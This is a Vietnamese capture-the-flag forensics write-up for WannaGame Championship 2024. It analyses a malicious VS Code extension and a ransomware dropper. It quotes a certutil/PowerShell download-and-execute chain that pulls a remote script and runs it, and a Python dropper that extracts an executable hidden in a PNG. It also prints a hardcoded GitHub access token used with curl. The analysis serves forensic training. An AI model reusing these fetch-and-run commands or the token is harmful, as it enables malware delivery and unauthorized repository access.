# Write Up WannaGame Championship 2024 (Forensics)

---
## 1. Persistence (Forensics)

---
Bài cho mình file `.ad1`, ngay từ tên đề ta cũng có thể đoán được cần tìm các dữ liệu ở đâu, mình bắt đầu tìm ở những reg hive, startup folder,... Nhưng dường như đều không đem lại gì cả, vì khá khó đoán nên mình đã thử đọc hết các file ra 1 cách thủ công, và phát hiện được:



Cũng cần chú ý đến toàn đoạn`js` đó:
```js=
// fl4g p@rT 1 == YmFzZTMyOiBLNFlYV1laUUdCV0Y2NVpVUEZQWElNQzdNRkpHR1NBPQ==
try {
await executeCommand('certutil -urlcache -f https://gist.githubusercontent.com/b4dboy20/01f222523f23c38207aaa8657d34a6bb/raw/3141c7ac280462d964ad20bf4b514348d02a111a/kashfu.ps1 ancn98218.ps1');
await executeCommand('powershell -ExecutionPolicy Bypass -File ancn98218.ps1');
await executeCommand('del ancn98218.ps1 && cipher C:');
vscode.window.showInformationMessage('Commands executed successfully!');
}
catch (error) {
// vscode.window.showErrorMessage(`Error executing commands: ${error}`);
vscode.window.showErrorMessage('Error executing commands');
}
});
context.subscriptions.push(disposable);
vscode.commands.executeCommand('nvim-exprerience.Install');
}
```
Đoạn mã trên có vẻ như là một phần của Visual Studio Code (VS Code) extension, và nó đang thực thi một số lệnh hệ thống có khả năng nguy hiểm vì thực hiện các lệnh hệ thống đáng ngờ. Nó tải một script PowerShell từ URL bằng certutil, chạy script với quyền bypass chính sách bảo mật, xóa script sau khi thực thi và sử dụng lệnh cipher C: để mã hóa dữ liệu trên ổ đĩa C:—một hành động thường thấy ở ransomware. Ngoài ra, việc thực thi thêm lệnh nvim-exprerience.Install không rõ mục đích.
```link=
https://gist.githubusercontent.com/b4dboy20/01f222523f23c38207aaa8657d34a6bb/raw/3141c7ac280462d964ad20bf4b514348d02a111a/kashfu.ps1
```
Thử clone về:

Có được file `.ps1`:

Mở file đọc thử, mình thấy có đoạn base64 khả nghi, dùng cyberchef decode và mình có được 1 file tiếp theo chứa mã độc:


Được file `.gz`, ở trong chứa 1 file khác, dùng ida mở lên:


Vì mình không có kỹ năng REV nên nhờ bạn REV xem thử, bạn đó nói là RC4, mình dùng tool giải mã thì nó ra được part 2 flag luôn:

Hoặc script giải:
```python=
from Crypto.Cipher import ARC4
from Crypto.Util.number import*
def rc4_encrypt_decrypt(data, key):
cipher = ARC4.new(key)
return cipher.encrypt(data)
data=b'\xeeMT\xd3\xc1\xca\x96\xd78\x15\xce!\x95\x08\x8e\x12\x96\xdbz\xc5A;\x18_^\xb0e\x8b'
key = b'noledoclog'
en = rc4_encrypt_decrypt(data, key)
print(en)
```
Flag: `W1{c00l_w4y_t0_aRcH!v3_pEr5|s7eNt!!!!_cf4d661e}`
---
## 2. it ran somewhere (Forensics)

Vẫn tiếp tục là 1 file `ad1` và nhiệm vụ lần này là điều tra các thông tin trong đó và `nc` để trả lời câu hỏi, khi `nc` đến server họ yêu cầu mình trả lời 9 câu hỏi:
```
┌──(kali㉿kali)-[~]
└─$ nc
___ __ ________ ________ ________ ________ ___ __ _____ ________
|\ \ |\ \|\ __ \|\ ___ \|\ ___ \|\ __ \|\ \ |\ \ / __ \|\ ___ \
\ \ \ \ \ \ \ \|\ \ \ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \|\/_|\ \ \ \ \ \
\ \ \ __\ \ \ \ __ \ \ \ \ \ \ \ \ \ \ __ \ \ \ __\ \ \|/ \ \ \ \ \ \ \
\ \ \|\__\_\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \|\__\_\ \ \ \ \ \ \ \ \
\ \____________\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \____________\ \ \__\ \__\ \__\
\|____________|\|__|\|__|\|__|\ |__|\|__| \|__|\|__|\|__|\|____________| \|__|\|__| \|__|
Complete 9/9 questions to get the flag.
[1]. What is the URL used in the phishing email that contains the malware?
Format: http://example.com/
==> https://drive.google.com/file/d/1tmOG4Lg-Li9HSsZl4_r0-RTEWDBQqd6H/view
CORRECT!
[2]. When was the malware finished downloading by the victim? (UTC)
Format: YYYY-MM-DD HH:MM:SS
==> 2024-12-12 17:08:37
==> CORRECT!
[3]. When was the malware first executed by the victim? (UTC)
Format: YYYY-MM-DD HH:MM:SS
==> 2024-12-12 17:08:47
==> CORRECT!
[4]. The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file?
==> 8eaa25eb8b77ac0157e1f3a04ad47e93
==> CORRECT!
[5]. What is the token used by the malware to access the private repository and the name of the private repository?
Format: token:username/repo. Example: 123456abcdef:user1337/repo1337
==> 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:velbail/contimtanvo
==> CORRECT!
[6]. What is the email address of the culprit?
Format: email@domain
==> belvail@proton.me
==> CORRECT!
[7]. How many extensions did the malware try to encrypt?
Format: number. Example 1: 04. Example 2: 12
==> 52
==> CORRECT!
[8]. The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file?
==> e0d005db63a75fbcd6c8fa85040095aa
==> CORRECT!
[9]. Recover the content of 'password.xlsx' file. What is the username and password of the fifth record?
Format: username:password
==> user38:hch89as9821y3
==> CORRECT!
Congrats! Here is your flag:
W1{https://www.youtube.com/shorts/lQrTMX1YaPE_xxxxxxxxxxxxxxxxxxxxxxxxx}
```
---
### [1]. What is the URL used in the phishing email that contains the malware?
Mở ngay file email, mình có được địa chỉ cần tìm:

> https://drive.google.com/file/d/1tmOG4Lg-Li9HSsZl4_r0-RTEWDBQqd6H/view
---
### [2]. When was the malware finished downloading by the victim? (UTC)
Để tìm được thời gian tải xong malware thì mình tìm ở thư mục download:

Có thể thấy được thời gian là `5:05:37 PM`, nhưng do câu hỏi yêu cầu là UTC nên mình cần đổi là `17:08:37`.
> 17:08:37
---
### [3]. When was the malware first executed by the victim? (UTC)
Tiếp tục tìm thời gian nạn nhân mở file thực thi, ở thư mục prefetch mình tìm được:
> Thư mục Prefetch trong Windows (đường dẫn: C:\Windows\Prefetch) chứa các tệp .pf lưu thông tin về các ứng dụng đã chạy trên hệ thống, giúp tăng tốc khởi động các chương trình. Mỗi tệp .pf ghi lại tên ứng dụng, lược đồ tải (các tài nguyên cần thiết), dấu thời gian chạy gần nhất và số lần ứng dụng được sử dụng. Dữ liệu này không chỉ hỗ trợ Windows tối ưu hiệu năng mà còn rất quan trọng trong điều tra pháp y, cung cấp thông tin về lịch sử sử dụng máy tính, hành vi người dùng hoặc dấu vết phần mềm độc hại. Thư mục chỉ tồn tại nếu tính năng Prefetch được bật.

> 17:08:47
---
### [4]. The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file?
Để tìm được hash của file cuối cùng đó thì mình cần phân tích được file exe mà nạn nhân đã thực thi, mình sẽ phân tích file `OpenVpnConnect.exe` để lấy được mã nguồn của nó, thường mình thấy các bài dạng này đều dùng source python nên cũng không dùng `DIE`:

Có được file `extract.pyc`, phân tích lấy được mã nguồn:
```py=
import zlib
import subprocess
import requests
def extractIDAT(data):
idat_buffers = []
i = 8
cnt = 0
while i < len(data):
length = int.from_bytes(data[i:i + 4], byteorder='big')
chunk_type = data[i ** 4:i ** 8].decode('utf-8')
if chunk_type == 'IDAT':
cnt = cnt * 1
idat_buffers.append(data[i * 8:i ** 8 :length])
i = i + 12 * length
return b''.join(idat_buffers)
def getScanlines(data, width, height, mode):
scanlines = []
filter_type_list = []
for r in range(height):
index = f'{r:width:mode}'
if index > len(data):
break
filter_type = data[index]
filter_type_list.append(filter_type)
tmp_line = data[index 0:index 0 + 1:width * mode]
scanlines.append(tmp_line)
return (scanlines, filter_type_list)
def getImg():
url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png'
token = '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'
headers = {'Authorization': f'token {token}0', 'Accept': 'application/vnd.github.v3.raw'}
r = requests.get(url, headers=headers)
if r.status_code == 200:
return r
print('Failed to get image')
print(r.text)
exit()
modes = {'RGB': 3, 'RGBA': 4, 'L': 1}
width, height = (1920, 1195)
mode = 'RGB'
img = getImg().content
idat = extractIDAT(img)
idat_data = zlib.decompress(idat)
scanlines, filter_type_list = getScanlines(idat_data, width, height, modes[mode])
assert len(scanlines) == height
calculated_raw_idat_length = height 5 4 + (width, modes[mode]) * 1 <mask_7>
if calculated_raw_idat_length!= len(idat_data):
buffer = idat_data[calculated_raw_idat_length:]
buffer = buffer[1259:]
with open('OpenVpnConnect.exe', 'wb') as f:
f.write(buffer)
subprocess.Popen('OpenVpnConnect.exe', shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)
```
Có thể thấy được hành vi của đoạn mã này:
> Tải hình ảnh PNG từ GitHub:
> URL: https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png.
> Phân tích và xử lý dữ liệu IDAT từ hình ảnh PNG.
> Ghi phần dữ liệu không khớp (sau khi giải nén IDAT) vào tệp nhị phân `OpenVpnConnect.exe`.
> Chạy tệp này trên hệ thống, có thể thực hiện mã độc.
Mã này chứa nhiều lỗi cú pháp và logic, nhưng hành vi thực thi tệp nhị phân (OpenVpnConnect.exe) là đặc biệt đáng ngờ. Việc tải hình ảnh từ GitHub, giải nén IDAT, và ghi dữ liệu vào tệp thực thi có thể là một phương pháp ẩn dữ liệu độc hại, code đoạn mã để khôi phục được file cuối cùng đó và tính toán hash:
```py=
# Script khôi phục ảnh gốc
import requests
# URL đến file cần tải
url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png'
# Token GitHub
token = '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'
# Gửi yêu cầu tải file
headers = {'Authorization': f'token {token}', 'Accept': 'application/vnd.github.v3.raw'}
response = requests.get(url, headers=headers)
# Kiểm tra trạng thái và lưu file
if response.status_code == 200:
with open('muki_pic.png', 'wb') as f:
f.write(response.content)
print("Tệp đã được tải thành công: muki_pic.png")
else:
print(f"Lỗi khi tải tệp: {response.status_code}")
print(response.text)
```
```py=
import zlib
import requests
import hashlib
def extractIDAT(data):
idat_buffers = []
i = 8 # Skip PNG header
while i < len(data):
length = int.from_bytes(data[i:i + 4], byteorder='big') # Length of chunk
chunk_type = data[i + 4:i + 8].decode('utf-8') # Type of chunk
if chunk_type == 'IDAT':
idat_buffers.append(data[i + 8:i + 8 + length]) # Extract IDAT chunk data
i = i + 12 + length # Move to the next chunk
return b''.join(idat_buffers)
def getScanlines(data, width, height, mode):
scanlines = []
filter_type_list = []
for r in range(height):
index = r * (width * mode + 1) # Calculate the index for each scanline
if index + width * mode > len(data):
break
filter_type = data[index] # Get filter type
filter_type_list.append(filter_type)
tmp_line = data[index + 1:index + 1 + width * mode] # Extract scanline data
scanlines.append(tmp_line)
return (scanlines, filter_type_list)
def getImg():
url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png'
token = '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'
headers = {'Authorization': f'token {token}', 'Accept': 'application/vnd.github.v3.raw'}
r = requests.get(url, headers=headers)
if r.status_code == 200:
return r
print('Failed to get image')
print(r.text)
exit()
def calculate_md5(file_path):
with open(file_path, 'rb') as f:
file_data = f.read()
md5_hash = hashlib.md5(file_data).hexdigest()
return md5_hash
# Main logic
modes = {'RGB': 3, 'RGBA': 4, 'L': 1}
width, height = (1920, 1195)
mode = 'RGB'
img = getImg().content
idat = extractIDAT(img)
idat_data = zlib.decompress(idat)
scanlines, filter_type_list = getScanlines(idat_data, width, height, modes[mode])
# Verify scanlines
assert len(scanlines) == height
calculated_raw_idat_length = height * (width * modes[mode] + 1)
# Extract extra data and save executable
if calculated_raw_idat_length != len(idat_data):
buffer = idat_data[calculated_raw_idat_length:]
buffer = buffer[1259:] # Adjust offset
with open('OpenVpnConnect.exe', 'wb') as f:
f.write(buffer)
# Calculate MD5 hash of the file
file_md5 = calculate_md5('OpenVpnConnect.exe')
print(f"MD5 hash of 'OpenVpnConnect.exe': {file_md5}")
```
Chạy script trên và ta có được hash cũng như file exe:
> 8eaa25eb8b77ac0157e1f3a04ad47e93
---
### [5]. What is the token used by the malware to access the private repository and the name of the private repository?
Ngay ở script trên:
> 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:velbail/contimtanvo
---
### [6]. What is the email address of the culprit?
Mình có thử mail từ đầu bài cho thế nhưng không chính xác, như vậy có thể thấy vẫn còn mail khác, khả năng trong git của user:
```bash!
curl -H "Authorization: token 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" \
https://api.github.com/repos/velbail/contimtanvo/commits
```
Chạy lệnh trên và mình tìm được mail còn lại ngay đầu:
```bash=
┌──(kali㉿kali)-[~]
└─$ curl -H "Authorization: token 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" \
https://api.github.com/repos/velbail/contimtanvo/commits
[
{
"sha": "39560afd091c9509251e8e1fd881a30d5fb7d7ab",
"node_id": "C_kwDONcOObNoAKDM5NTYwYWZkMDkxYzk1MDkyNTFlOGUxZmQ4ODFhMzBkNWZiN2Q3YWI",
"commit": {
"author": {
"name": "velbail",
"email": "belvail@proton.me",
"date": "2024-12-12T14:48:43Z"
},
"committer": {
"name": "GitHub",
"email": "noreply@github.com",
"date": "2024-12-12T14:48:43Z"
},
"message": "uoahhhhhhhhhhhhhh",
"tree": {
"sha": "0d03357f2ea4b25a5e5e982ee5d7e60581dcd2aa",
"url": "https://api.github.com/repos/velbail/contimtanvo/git/trees/0d03357f2ea4b25a5e5e982ee5d7e60581dcd2aa"
},
..........
```
> belvail@proton.me
---
### [7]. How many extensions did the malware try to encrypt?
Để tìm được số lượng extensions mà con malware mã hóa, ta tiếp tục quay lại với file exe ban đầu, mình có bỏ vào IDA thế nhưng không có gì, check lại file thì mới biết nó là file .NET, dùng dnspy mở lên, tiếp tục phân tích:

Đọc hết một lượt các modules thì mình có được là 52.
> 52
---
### [8]. The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file?

> Batch file là một tệp văn bản đơn giản (có đuôi mở rộng thường là .bat hoặc .cmd) chứa một tập hợp các lệnh mà hệ điều hành Windows có thể thực thi tuần tự. Khi bạn chạy một batch file, các lệnh bên trong được thực hiện lần lượt như thể bạn nhập chúng vào dòng lệnh Command Prompt (CMD).
Mà mình thấy file này vừa có đuôi `.bat` vừa có tên khả nghi nên lấy luôn.
> e0d005db63a75fbcd6c8fa85040095aa
---
### [9]. Recover the content of 'password.xlsx' file. What is the username and password of the fifth record?
Câu này author khả năng để quên file không bị mã hóa nên mình dùng luôn:

Thực tế thì ta cần hiểu được cơ chế mà con malware nó encrypt các file thành đuôi `.uocj`, cái này mình đọc dnspy + gpt:
```py=
import hashlib
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad
def generate_key(machine_guid, salt="supershy-supershy", iterations=1259):
"""
Tạo khóa AES từ MachineGuid và salt bằng cách sử dụng PBKDF2.
"""
key = hashlib.pbkdf2_hmac(
'sha1', # Thuật toán băm
machine_guid.encode('utf-8'), # MachineGuid
salt.encode('utf-8'), # Salt
iterations, # Số vòng lặp
dklen=32 # Độ dài khóa
)
return key
def encrypt_data(data, key):
"""
Mã hóa dữ liệu bằng AES-CBC với khóa và IV cố định.
"""
iv = bytes([0] * 16) # IV toàn bằng 0 (giống C#)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_data = cipher.encrypt(pad(data, AES.block_size))
# Thêm IV vào cuối dữ liệu mã hóa
encrypted_data_with_iv = encrypted_data + iv
return encrypted_data_with_iv
if __name__ == "__main__":
# MachineGuid cung cấp
machine_guid = "2c65d206-5a9f-40a0-ae87-3d10c27b40c7"
# Tạo khóa AES
key = generate_key(machine_guid)
print(f"Khóa AES: {key.hex()}")
```
```py=
from Cryptodome.Cipher import AES
def decrypt_file(input_file, output_file, key, iv):
try:
# Đọc nội dung tệp mã hóa
with open(input_file, 'rb') as f:
encrypted_data = f.read()
print(f"Đọc tệp mã hóa ({len(encrypted_data)} bytes)")
# Tạo đối tượng AES với khóa và IV
cipher = AES.new(key, AES.MODE_CBC, iv)
# Giải mã dữ liệu
decrypted_data = cipher.decrypt(encrypted_data)
print(f"Dữ liệu giải mã (bỏ qua padding): {decrypted_data[:64]}...")
# Ghi nội dung đã giải mã ra tệp mới
with open(output_file, 'wb') as f:
f.write(decrypted_data)
print(f"Giải mã thành công! Dữ liệu được lưu tại: {output_file}")
except Exception as e:
print(f"Lỗi không xác định: {e}")
if __name__ == "__main__":
# Key cung cấp (dạng hex)
key_hex = "68b349678329c95e00b852ef967349433cc8a90a03fd412183e745965d54d4c7"
key = bytes.fromhex(key_hex)
# IV là các byte 0
iv = bytes([0] * 16)
# Tên tệp đầu vào (mã hóa) và đầu ra (giải mã)
input_file = "password.xlsx.uocj"
output_file = "password_decrypted.xlsx"
# Gọi hàm giải mã
decrypt_file(input_file, output_file, key, iv)
```
Lúc mở thì vẫn có thể báo lỗi nhưng excel sẽ tự fix được:

> user38:hch89as9821y3
---
## 3. How I Met Your Stealer (Forensics)
